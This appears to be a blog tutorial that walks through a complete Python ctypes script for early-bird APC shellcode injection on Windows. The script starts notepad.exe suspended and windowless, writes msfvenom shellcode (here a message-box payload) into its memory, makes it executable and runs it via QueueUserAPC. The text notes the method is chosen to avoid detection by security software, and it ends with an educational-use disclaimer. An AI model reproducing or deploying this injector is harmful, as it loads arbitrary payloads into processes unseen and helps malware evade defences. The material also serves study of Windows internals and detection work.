Process Creation and Shellcode Execution
In this article, we’ll explore how Python’s ctypes library can be used to interact with Windows APIs to create a new process, inject shellcode, and execute it. This code demonstrates a powerful technique that combines process creation with memory manipulation and remote code execution. While the code is highly technical, our explanation will break down each section into simple, digestible parts for better understanding.
Overview
The script leverages Windows APIs by using Python’s ctypes to perform several key actions:
- Process Creation: Launch a target process (in this example,
notepad.exe) in a suspended state. - Memory Allocation: Allocate memory in the remote process where shellcode will be injected.
- Shellcode Injection: Write a block of shellcode (generated by Metasploit) into the allocated memory.
- Memory Protection Adjustment: Change the memory protection to allow execution.
- Shellcode Execution: Queue an Asynchronous Procedure Call (APC) to execute the shellcode when the target process’s thread resumes.
Code:
from ctypes import *
from ctypes import wintypes
import subprocess
kernel32 = windll.kernel32
SIZE_T = c_size_t
LPTSTR = POINTER(c_char)
LPBYTE = POINTER(c_ubyte)
VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD)
VirtualAllocEx.restype = wintypes.LPVOID
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T))
WriteProcessMemory.restype = wintypes.BOOL
class _SECURITY_ATTRIBUTES(Structure):
_fields_ = [('nlengths', wintypes.DWORD),
('lpSecurityDescriptor', wintypes.LPVOID),
('bInheritHandle', wintypes.BOOL),]
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
LPTHREAD_START_ROUTINE = wintypes.LPVOID
CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = (wintypes.HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
CreateRemoteThread.restype = wintypes.HANDLE
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_READWRITE = 0x04
EXECUTE_IMMEDIATELY = 0X0
PROCESS_ALL_ACCESS = (0X000F0000 | 0X00100000 | 0X00000FFF)
VirtualProtectEx = kernel32.VirtualProtectEx
VirtualProtectEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD)
VirtualProtectEx.restype = wintypes.BOOL
# process = subprocess.Popen(["notepad.exe"])
# print("Starting process with PID => {}".format(process.pid))
class STARTUPINFO(Structure):
_fields_ = [("cb", wintypes.DWORD),
("lpReserved", LPTSTR),
("lpDesktop", LPTSTR),
("lpTitle", LPTSTR),
("dwX", wintypes.DWORD),
("dwY", wintypes.DWORD),
("dwXSize", wintypes.DWORD),
("dwYSize", wintypes.DWORD),
("dwXCountChars", wintypes.DWORD),
("dwYCountChars", wintypes.DWORD),
("dwFillAttribute", wintypes.DWORD),
("dwFlags", wintypes.DWORD),
("wShowWindow", wintypes.WORD),
("cbReserved2", wintypes.WORD),
("lpReserved2", LPBYTE),
("hStdInput", wintypes.HANDLE),
("hStdOutput", wintypes.HANDLE),
("hStdError", wintypes.HANDLE),]
class PROCESS_INFORMATION(Structure):
_fields_ = [("hProcess", wintypes.HANDLE),
("hThread", wintypes.HANDLE),
("dwProcessId", wintypes.DWORD),
("dwThreadId", wintypes.DWORD),]
CreateProcessA = kernel32.CreateProcessA
CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID, wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION))
CreateProcessA.restype = wintypes.BOOL
#Now we use metasploit to develop our shellcode: msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT="This is you worst enemy :)" -f py
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"
buf += b"\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b"
buf += b"\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a"
buf += b"\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02"
buf += b"\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
buf += b"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
buf += b"\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44"
buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e"
buf += b"\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31"
buf += b"\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75"
buf += b"\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
buf += b"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e"
buf += b"\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e"
buf += b"\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20"
buf += b"\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12"
buf += b"\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x2f\x01"
buf += b"\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7"
buf += b"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
buf += b"\x00\x3e\x4c\x8d\x85\x29\x01\x00\x00\x48\x31\xc9"
buf += b"\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41"
buf += b"\xba\xf0\xb5\xa2\x56\xff\xd5\x54\x68\x69\x73\x20"
buf += b"\x69\x73\x20\x79\x6f\x75\x20\x77\x6f\x72\x73\x74"
buf += b"\x20\x65\x6e\x65\x6d\x79\x20\x3a\x29\x00\x68\x65"
buf += b"\x6c\x6c\x6f\x00\x75\x73\x65\x72\x33\x32\x2e\x64"
buf += b"\x6c\x6c\x00"
def verify(x):
if not x:
raise WinError()
startup_info = STARTUPINFO()
startup_info.cb = sizeof(startup_info)
startup_info.dwFlags = 1
startup_info.wShowWindow = 1 #change the value to 0 if you want to hide the window
process_info = PROCESS_INFORMATION()
CREATE_NEW_CONSOLE = 0x00000010
CREATE_NO_WINDOW = 0x08000000
CREATE_SUSPENDED = 0x00000004
created = CreateProcessA(b"C:\\Windows\\System32\\notepad.exe", None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info))
verify(created)
pid = process_info.dwProcessId
h_process = process_info.hProcess
thread_id = process_info.dwThreadId
h_thread = process_info.hThread
print("Started process => Handle:{}, PID:{}, TID:{}".format(h_process, pid, thread_id))
remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
verify(remote_memory)
print("Memory allocated => ", hex(remote_memory))
write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None)
verify(write)
print("Bytes written => {}".format(len(buf)))
PAGE_EXECUTE_READ = 0x20
old_protection = wintypes.DWORD(0)
protect = VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, byref(old_protection))
verify(protect)
print("Memory protection updated from {} to {}".format(old_protection.value, PAGE_EXECUTE_READ))
#rthread = CreateRemoteThread(h_process, None, 0, remote_memory, None, EXECUTE_IMMEDIATELY, None)
#verify(rthread)
PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG))
QueueUserAPC = kernel32.QueueUserAPC
QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE, POINTER(wintypes.ULONG))
QueueUserAPC.restype = wintypes.BOOL
ResumeThread = kernel32.ResumeThread
ResumeThread.argtypes = (wintypes.HANDLE, )
ResumeThread.restype = wintypes.BOOL
rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)
verify(rqueue)
print("Queueing APC thread => {}".format(h_thread))
rthread = ResumeThread(h_thread)
verify(rthread)
print("Resuming thread!")A little explanation of what's happening.
1. Interfacing with Windows API Using ctypes
Python’s ctypes module allows us to call functions in DLLs (dynamic-link libraries) directly. In the provided code, several Windows API functions from kernel32.dll are imported and configured:
VirtualAllocEx: Allocates memory in the address space of a specified process.WriteProcessMemory: Writes data into the memory of a target process.VirtualProtectEx: Modifies the memory protection of a region within a process.CreateProcessA: Creates a new process and its primary thread.QueueUserAPC: Queues an APC to a thread, allowing deferred execution.ResumeThread: Resumes a suspended thread.
Each function is defined with its argument and return types, ensuring correct data is passed between Python and the Windows API.
2. Process Creation
The code creates a new process using the CreateProcessA API. In our example, the process is notepad.exe. Key aspects include:
- Suspended State: The process is created with the
CREATE_SUSPENDEDflag. This means that the process does not begin execution immediately, giving us an opportunity to inject our shellcode safely. - No Window Option: The
CREATE_NO_WINDOWflag is used to prevent the creation of a visible window. - Structures: Custom structures like
STARTUPINFOandPROCESS_INFORMATIONare defined to pass startup parameters and receive process details.
Get Delta’s stories in your inbox
Join Medium for free to get updates from this writer.
The process information, such as the process handle and thread ID, are later used for memory operations and code execution.
3. Memory Allocation in the Remote Process
After creating the process, memory is allocated in its address space using VirtualAllocEx:
- Memory Size: The allocated size is exactly the length of the shellcode.
- Memory Permissions: Initially, the memory is allocated with
PAGE_READWRITEpermission, which is required to write the shellcode.
This step is crucial because it reserves the area where the shellcode will be stored before it can be executed.
4. Writing and Protecting the Shellcode
Shellcode Injection
The shellcode is a binary payload generated (for example, with Metasploit’s msfvenom). It is stored as a byte string in the variable buf. The code uses WriteProcessMemory to copy this shellcode into the allocated memory in the target process.
Memory Protection Update
After writing the shellcode, the memory protection is updated using VirtualProtectEx to PAGE_EXECUTE_READ. This change allows the shellcode to be executed while still being readable, ensuring that when execution is transferred, the shellcode can run properly.
5. Executing the Shellcode via APC
Instead of directly creating a remote thread to execute the shellcode (a method that might be detected by security software), this script uses an Asynchronous Procedure Call (APC) method:
- QueueUserAPC: This function queues an APC that points to the shellcode’s address in the remote process. APCs are executed when a thread enters an alertable state.
- ResumeThread: The suspended thread of the target process is resumed, causing it to process the queued APC and execute the shellcode.
This technique demonstrates an advanced method for executing code within another process without creating a new thread explicitly.
6. Important Considerations
Security Implications
While the code illustrates a powerful technique for code injection, it is important to note that such methods can be used for both legitimate purposes (like debugging or testing) and malicious activities. Always ensure you have permission to test on a system and understand the ethical and legal considerations involved.
Educational Use
This article is intended for educational purposes. Understanding these techniques can help developers and security professionals better protect systems against unauthorized code injection and enhance their understanding of Windows internals.
Error Handling
The helper function verify checks the return values of Windows API calls and raises a WinError if a call fails. This is critical for debugging and ensuring that each step of the process is executed successfully.










